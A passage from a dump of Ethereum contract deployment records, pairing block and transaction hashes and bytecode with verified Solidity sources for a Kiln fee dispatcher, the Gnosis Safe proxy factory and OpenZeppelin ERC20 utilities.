getPublicKeyRoot() external view returns (bytes32) {\n return publicKeyRoot;\n }\n\n /// @notice retrieve the assigned withdrawer\n function getWithdrawer() external view returns (address) {\n return dispatcher.getWithdrawer(publicKeyRoot);\n }\n}\n"
},
"src/contracts/ExecutionLayerFeeDispatcher.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./libs/DispatchersStorageLib.sol\";\nimport \"./interfaces/IStakingContractFeeDetails.sol\";\nimport \"./interfaces/IFeeDispatcher.sol\";\n\n/// @title Execution Layer Fee Recipient\n/// @author Kiln\n/// @notice This contract can be used to receive fees from a validator and split them with a node operator\ncontract ExecutionLayerFeeDispatcher is IFeeDispatcher {\n using DispatchersStorageLib for bytes32;\n\n event Withdrawal(\n address indexed withdrawer,\n address indexed feeRecipient,\n bytes32 pubKeyRoot,\n uint256 rewards,\n uint256 nodeOperatorFee,\n uint256 treasuryFee\n );\n\n error TreasuryReceiveError(bytes errorData);\n error FeeRecipientReceiveError(bytes errorData);\n error WithdrawerReceiveError(bytes errorData);\n error ZeroBalanceWithdrawal();\n error AlreadyInitialized();\n error InvalidCall();\n\n bytes32 internal constant STAKING_CONTRACT_ADDRESS_SLOT =\n keccak256(\"ExecutionLayerFeeRecipient.stakingContractAddress\");\n uint256 internal constant BASIS_POINTS = 10_000;\n bytes32 internal constant VERSION_SLOT = keccak256(\"ExecutionLayerFeeRecipient.version\");\n\n /// @notice Ensures an initialisation call has been called only once per _version value\n /// @param _version The current initialisation value\n modifier init(uint256 _version) {\n if (_version != VERSION_SLOT.getUint256() + 1) {\n revert AlreadyInitialized();\n }\n\n VERSION_SLOT.setUint256(_version);\n\n _;\n }\n\n /// @notice Constructor method allowing us to prevent calls to initCLFR by setting the appropriate version\n constructor(uint256 _version) {\n VERSION_SLOT.setUint256(_version);\n }\n\n /// @notice Initialize the contract by storing the staking contract and the public key in storage\n /// @param _stakingContract Address of the Staking Contract\n function initELD(address _stakingContract) external init(1) {\n STAKING_CONTRACT_ADDRESS_SLOT.setAddress(_stakingContract);\n }\n\n /// @notice Performs a withdrawal on this contract's balance\n function dispatch(bytes32 _publicKeyRoot) external payable {\n uint256 balance = address(this).balance;\n if (balance == 0) {\n revert ZeroBalanceWithdrawal();\n }\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n address withdrawer = stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n address operator = stakingContract.getOperatorFeeRecipient(_publicKeyRoot);\n address treasury = stakingContract.getTreasury();\n uint256 globalFee = (balance * stakingContract.getGlobalFee()) / BASIS_POINTS;\n uint256 operatorFee = (globalFee * stakingContract.getOperatorFee()) / BASIS_POINTS;\n\n (bool status, bytes memory data) = withdrawer.call{value: balance - globalFee}(\"\");\n if (status == false) {\n revert WithdrawerReceiveError(data);\n }\n if (globalFee > 0) {\n (status, data) = treasury.call{value: globalFee - operatorFee}(\"\");\n if (status == false) {\n revert FeeRecipientReceiveError(data);\n }\n }\n if (operatorFee > 0) {\n (status, data) = operator.call{value: operatorFee}(\"\");\n if (status == false) {\n revert TreasuryReceiveError(data);\n }\n }\n emit Withdrawal(\n withdrawer,\n operator,\n _publicKeyRoot,\n balance - globalFee,\n operatorFee,\n globalFee - operatorFee\n );\n }\n\n /// @notice Retrieve the staking contract address\n function getStakingContract() external view returns (address) {\n return STAKING_CONTRACT_ADDRESS_SLOT.getAddress();\n }\n\n /// @notice Retrieve the assigned withdrawer for the given public key root\n /// @param _publicKeyRoot Public key root to get the owner\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address) {\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n return stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n }\n\n receive() external payable {\n revert InvalidCall();\n }\n\n fallback() external payable {\n revert InvalidCall();\n }\n}\n"
}
},
"settings": {
"optimizer": {
"enabled": true,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"abi"
]
}
},
"metadata": {
"useLiteralContent": true
}
}
}}
|
1 | 19,497,381 |
b90c465e377571e5aa91e71d5071a4c09870bbc36c9ddfc6b662d254e863b297
|
b82cefadeffc40fdf050caf99cc1dd898ca205d2a40d5bcd3029ff29e7444568
|
700932ccc31f466cf4d4deab6bad89ffce437886
|
a6b71e26c5e0845f74c812102ca7114b6a896ab2
|
3e1b961b276de09122f898b882a70205c8b08e56
|
608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f76696465640000000000000000000000003e5c63644e683549055b9be8653de26e0b4cd36e
|
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
1 | 19,497,382 |
43559234c72ffcf15ac554c2af3024b5b09f81b3fa1e2e99fc49c26f54be45e8
|
215f02a13373ff7c2fe246679e5313b6c55459939c52988d60cad72a03b9c9f1
|
45c64c2b44bfcb8765e5e8fd934ff5cdfbdb5e85
|
45c64c2b44bfcb8765e5e8fd934ff5cdfbdb5e85
|
dcefb62dbee80f99191eb651256c79a34e841780
|
6080604052600180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d179055348015610035575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350335f908152600360205260408082208054600160ff1991821681179092553084529190922080549091169091179055610abb806100b25f395ff3fe608060405260043610610092575f3560e01c80638119c065116100575780638119c065146101635780638da5cb5b14610177578063ba49f37114610193578063f2fde38b146101b2578063fad9aba3146101d1575f80fd5b806311df9995146100b75780631b862027146100f257806337a25dc214610111578063715018a6146101305780637fa98ede14610144575f80fd5b366100b357325f9081526003602052604090205460ff166100b1575f80fd5b005b5f80fd5b3480156100c2575f80fd5b506002546100d6906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b3480156100fd575f80fd5b506100b161010c366004610823565b6101e5565b34801561011c575f80fd5b506100b161012b36600461085e565b610223565b34801561013b575f80fd5b506100b16102d7565b34801561014f575f80fd5b506100b161015e36600461085e565b610348565b34801561016e575f80fd5b506100b161046e565b348015610182575f80fd5b505f546001600160a01b03166100d6565b34801561019e575f80fd5b506100b16101ad3660046108ac565b6104e3565b3480156101bd575f80fd5b506100b16101cc36600461085e565b610566565b3480156101dc575f80fd5b506100b161064d565b5f546001600160a01b031633146102175760405162461bcd60e51b815260040161020e9061097e565b60405180910390fd5b6102208161069f565b50565b5f546001600160a01b0316331461024c5760405162461bcd60e51b815260040161020e9061097e565b600280546001600160a01b0319166001600160a01b0383811691821790925560015460405163095ea7b360e01b8152921660048301525f1960248301529063095ea7b3906044016020604051808303815f875af11580156102af573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102d391906109b3565b5050565b5f546001600160a01b031633146103005760405162461bcd60e51b815260040161020e9061097e565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146103715760405162461bcd60e51b815260040161020e9061097e565b6040516370a0823160e01b81523060048201525f906001600160a01b038316906370a0823190602401602060405180830381865afa1580156103b5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103d991906109ce565b9050816001600160a01b031663a9059cbb6103fb5f546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af1158015610445573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061046991906109b3565b505050565b6002546040516370a0823160e01b81523060048201525f916001600160a01b0316906370a0823190602401602060405180830381865afa1580156104b4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104d891906109ce565b90506102208161069f565b5f546001600160a01b0316331461050c5760405162461bcd60e51b815260040161020e9061097e565b5f5b8251811015610469578160035f85848151811061052d5761052d6109e5565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff191691151591909117905560010161050e565b5f546001600160a01b0316331461058f5760405162461bcd60e51b815260040161020e9061097e565b6001600160a01b0381166105f45760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161020e565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146106765760405162461bcd60e51b815260040161020e9061097e565b60405133904780156108fc02915f818181858888f19350505050158015610220573d5f803e3d5ffd5b6040805160028082526060820183525f92602083019080368337505060025482519293506001600160a01b0316918391505f906106de576106de6109e5565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610735573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061075991906109f9565b8160018151811061076c5761076c6109e5565b6001600160a01b03928316602091820292909201015260015460405163791ac94760e01b815291169063791ac947906107b19085905f90869030904290600401610a14565b5f604051808303815f87803b1580156107c8575f80fd5b505af11580156107da573d5f803e3d5ffd5b504792505081159050610469575f80546040516001600160a01b039091169183156108fc02918491818181858888f1935050505015801561081d573d5f803e3d5ffd5b50505050565b5f60208284031215610833575f80fd5b5035919050565b6001600160a01b0381168114610220575f80fd5b80356108598161083a565b919050565b5f6020828403121561086e575f80fd5b81356108798161083a565b9392505050565b634e487b7160e01b5f52604160045260245ffd5b8015158114610220575f80fd5b803561085981610894565b5f80604083850312156108bd575f80fd5b823567ffffffffffffffff808211156108d4575f80fd5b818501915085601f8301126108e7575f80fd5b81356020828211156108fb576108fb610880565b8160051b604051601f19603f8301168101818110868211171561092057610920610880565b60405292835281830193508481018201928984111561093d575f80fd5b948201945b83861015610962576109538661084e565b85529482019493820193610942565b965061097190508782016108a1565b9450505050509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156109c3575f80fd5b815161087981610894565b5f602082840312156109de575f80fd5b5051919050565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215610a09575f80fd5b81516108798161083a565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015610a645784516001600160a01b031683529383019391830191600101610a3f565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122029884de69b657d41f9b281705485a0ca8a41c030d7e41292264d88551c58e0da64736f6c63430008160033
|
608060405260043610610092575f3560e01c80638119c065116100575780638119c065146101635780638da5cb5b14610177578063ba49f37114610193578063f2fde38b146101b2578063fad9aba3146101d1575f80fd5b806311df9995146100b75780631b862027146100f257806337a25dc214610111578063715018a6146101305780637fa98ede14610144575f80fd5b366100b357325f9081526003602052604090205460ff166100b1575f80fd5b005b5f80fd5b3480156100c2575f80fd5b506002546100d6906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b3480156100fd575f80fd5b506100b161010c366004610823565b6101e5565b34801561011c575f80fd5b506100b161012b36600461085e565b610223565b34801561013b575f80fd5b506100b16102d7565b34801561014f575f80fd5b506100b161015e36600461085e565b610348565b34801561016e575f80fd5b506100b161046e565b348015610182575f80fd5b505f546001600160a01b03166100d6565b34801561019e575f80fd5b506100b16101ad3660046108ac565b6104e3565b3480156101bd575f80fd5b506100b16101cc36600461085e565b610566565b3480156101dc575f80fd5b506100b161064d565b5f546001600160a01b031633146102175760405162461bcd60e51b815260040161020e9061097e565b60405180910390fd5b6102208161069f565b50565b5f546001600160a01b0316331461024c5760405162461bcd60e51b815260040161020e9061097e565b600280546001600160a01b0319166001600160a01b0383811691821790925560015460405163095ea7b360e01b8152921660048301525f1960248301529063095ea7b3906044016020604051808303815f875af11580156102af573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102d391906109b3565b5050565b5f546001600160a01b031633146103005760405162461bcd60e51b815260040161020e9061097e565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146103715760405162461bcd60e51b815260040161020e9061097e565b6040516370a0823160e01b81523060048201525f906001600160a01b038316906370a0823190602401602060405180830381865afa1580156103b5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103d991906109ce565b9050816001600160a01b031663a9059cbb6103fb5f546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af1158015610445573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061046991906109b3565b505050565b6002546040516370a0823160e01b81523060048201525f916001600160a01b0316906370a0823190602401602060405180830381865afa1580156104b4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104d891906109ce565b90506102208161069f565b5f546001600160a01b0316331461050c5760405162461bcd60e51b815260040161020e9061097e565b5f5b8251811015610469578160035f85848151811061052d5761052d6109e5565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff191691151591909117905560010161050e565b5f546001600160a01b0316331461058f5760405162461bcd60e51b815260040161020e9061097e565b6001600160a01b0381166105f45760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161020e565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146106765760405162461bcd60e51b815260040161020e9061097e565b60405133904780156108fc02915f818181858888f19350505050158015610220573d5f803e3d5ffd5b6040805160028082526060820183525f92602083019080368337505060025482519293506001600160a01b0316918391505f906106de576106de6109e5565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610735573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061075991906109f9565b8160018151811061076c5761076c6109e5565b6001600160a01b03928316602091820292909201015260015460405163791ac94760e01b815291169063791ac947906107b19085905f90869030904290600401610a14565b5f604051808303815f87803b1580156107c8575f80fd5b505af11580156107da573d5f803e3d5ffd5b504792505081159050610469575f80546040516001600160a01b039091169183156108fc02918491818181858888f1935050505015801561081d573d5f803e3d5ffd5b50505050565b5f60208284031215610833575f80fd5b5035919050565b6001600160a01b0381168114610220575f80fd5b80356108598161083a565b919050565b5f6020828403121561086e575f80fd5b81356108798161083a565b9392505050565b634e487b7160e01b5f52604160045260245ffd5b8015158114610220575f80fd5b803561085981610894565b5f80604083850312156108bd575f80fd5b823567ffffffffffffffff808211156108d4575f80fd5b818501915085601f8301126108e7575f80fd5b81356020828211156108fb576108fb610880565b8160051b604051601f19603f8301168101818110868211171561092057610920610880565b60405292835281830193508481018201928984111561093d575f80fd5b948201945b83861015610962576109538661084e565b85529482019493820193610942565b965061097190508782016108a1565b9450505050509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156109c3575f80fd5b815161087981610894565b5f602082840312156109de575f80fd5b5051919050565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215610a09575f80fd5b81516108798161083a565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015610a645784516001600160a01b031683529383019391830191600101610a3f565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122029884de69b657d41f9b281705485a0ca8a41c030d7e41292264d88551c58e0da64736f6c63430008160033
| |
1 | 19,497,383 |
5cedefecd212b2699bb4fc85ca1e76e6acabe0b5f645cb05da68110439c6b8d8
|
61a791f49a6f0eab9e414c58c416059876cdb74872a68a2bbfa657113de8ee0d
|
d8531a94100f15af7521a7b6e724ac4959e0a025
|
70b66e20766b775b2e9ce5b718bbd285af59b7e1
|
0d6741f1a3a538f78009ca2e3a13f9cb1478b2d0
|
3d602d80600a3d3981f3363d3d373d3d3d363d7314a3b726724a0e620cde342a7c04c09e0d05f7a65af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d7314a3b726724a0e620cde342a7c04c09e0d05f7a65af43d82803e903d91602b57fd5bf3
|
{{
"language": "Solidity",
"settings": {
"evmVersion": "paris",
"libraries": {},
"metadata": {
"bytecodeHash": "none",
"useLiteralContent": true
},
"optimizer": {
"enabled": true,
"runs": 10
},
"remappings": [],
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
}
},
"sources": {
"@openzeppelin/contracts/token/ERC20/IERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20 {\n /**\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n *\n * Note that `value` may be zero.\n */\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /**\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n */\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n /**\n * @dev Returns the amount of tokens in existence.\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @dev Returns the amount of tokens owned by `account`.\n */\n function balanceOf(address account) external view returns (uint256);\n\n /**\n * @dev Moves `amount` tokens from the caller's account to `to`.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transfer(address to, uint256 amount) external returns (bool);\n\n /**\n * @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n *\n * This value changes when {approve} or {transferFrom} are called.\n */\n function allowance(address owner, address spender) external view returns (uint256);\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender's allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n *\n * Emits an {Approval} event.\n */\n function approve(address spender, uint256 amount) external returns (bool);\n\n /**\n * @dev Moves `amount` tokens from `from` to `to` using the\n * allowance mechanism. `amount` is then deducted from the caller's\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/extensions/draft-IERC20Permit.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-IERC20Permit.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in\n * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].\n *\n * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by\n * presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't\n * need to send a transaction, and thus is not required to hold Ether at all.\n */\ninterface IERC20Permit {\n /**\n * @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,\n * given ``owner``'s signed approval.\n *\n * IMPORTANT: The same issues {IERC20-approve} has related to transaction\n * ordering also apply here.\n *\n * Emits an {Approval} event.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n * - `deadline` must be a timestamp in the future.\n * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`\n * over the EIP712-formatted function arguments.\n * - the signature must use ``owner``'s current nonce (see {nonces}).\n *\n * For more information on the signature format, see the\n * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP\n * section].\n */\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n /**\n * @dev Returns the current nonce for `owner`. This value must be\n * included whenever a signature is generated for {permit}.\n *\n * Every successful call to {permit} increases ``owner``'s nonce by one. This\n * prevents a signature from being used multiple times.\n */\n function nonces(address owner) external view returns (uint256);\n\n /**\n * @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.\n */\n // solhint-disable-next-line func-name-mixedcase\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.8.0) (token/ERC20/utils/SafeERC20.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC20.sol\";\nimport \"../extensions/draft-IERC20Permit.sol\";\nimport \"../../../utils/Address.sol\";\n\n/**\n * @title SafeERC20\n * @dev Wrappers around ERC20 operations that throw on failure (when the token\n * contract returns false). Tokens that return no value (and instead revert or\n * throw on failure) are also supported, non-reverting calls are assumed to be\n * successful.\n * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,\n * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.\n */\nlibrary SafeERC20 {\n using Address for address;\n\n function safeTransfer(\n IERC20 token,\n address to,\n uint256 value\n ) internal {\n _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));\n }\n\n function safeTransferFrom(\n IERC20 token,\n address from,\n address to,\n uint256 value\n ) internal {\n _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));\n }\n\n /**\n * @dev Deprecated. This function has issues similar to the ones found in\n * {IERC20-approve}, and its usage is discouraged.\n *\n * Whenever possible, use {safeIncreaseAllowance} and\n * {safeDecreaseAllowance} instead.\n */\n function safeApprove(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n // safeApprove should only be called when setting an initial allowance,\n // or when resetting it to zero. To increase and decrease it, use\n // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'\n require(\n (value == 0) || (token.allowance(address(this), spender) == 0),\n \"SafeERC20: approve from non-zero to non-zero allowance\"\n );\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));\n }\n\n function safeIncreaseAllowance(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n uint256 newAllowance = token.allowance(address(this), spender) + value;\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\n }\n\n function safeDecreaseAllowance(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n unchecked {\n uint256 oldAllowance = token.allowance(address(this), spender);\n require(oldAllowance >= value, \"SafeERC20: decreased allowance below zero\");\n uint256 newAllowance = oldAllowance - value;\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\n }\n }\n\n function safePermit(\n IERC20Permit token,\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) internal {\n uint256 nonceBefore = token.nonces(owner);\n token.permit(owner, spender, value, deadline, v, r, s);\n uint256 nonceAfter = token.nonces(owner);\n require(nonceAfter == nonceBefore + 1, \"SafeERC20: permit did not succeed\");\n }\n\n /**\n * @dev Imitates a Solidity high-level call (i.e. a regular function call to a 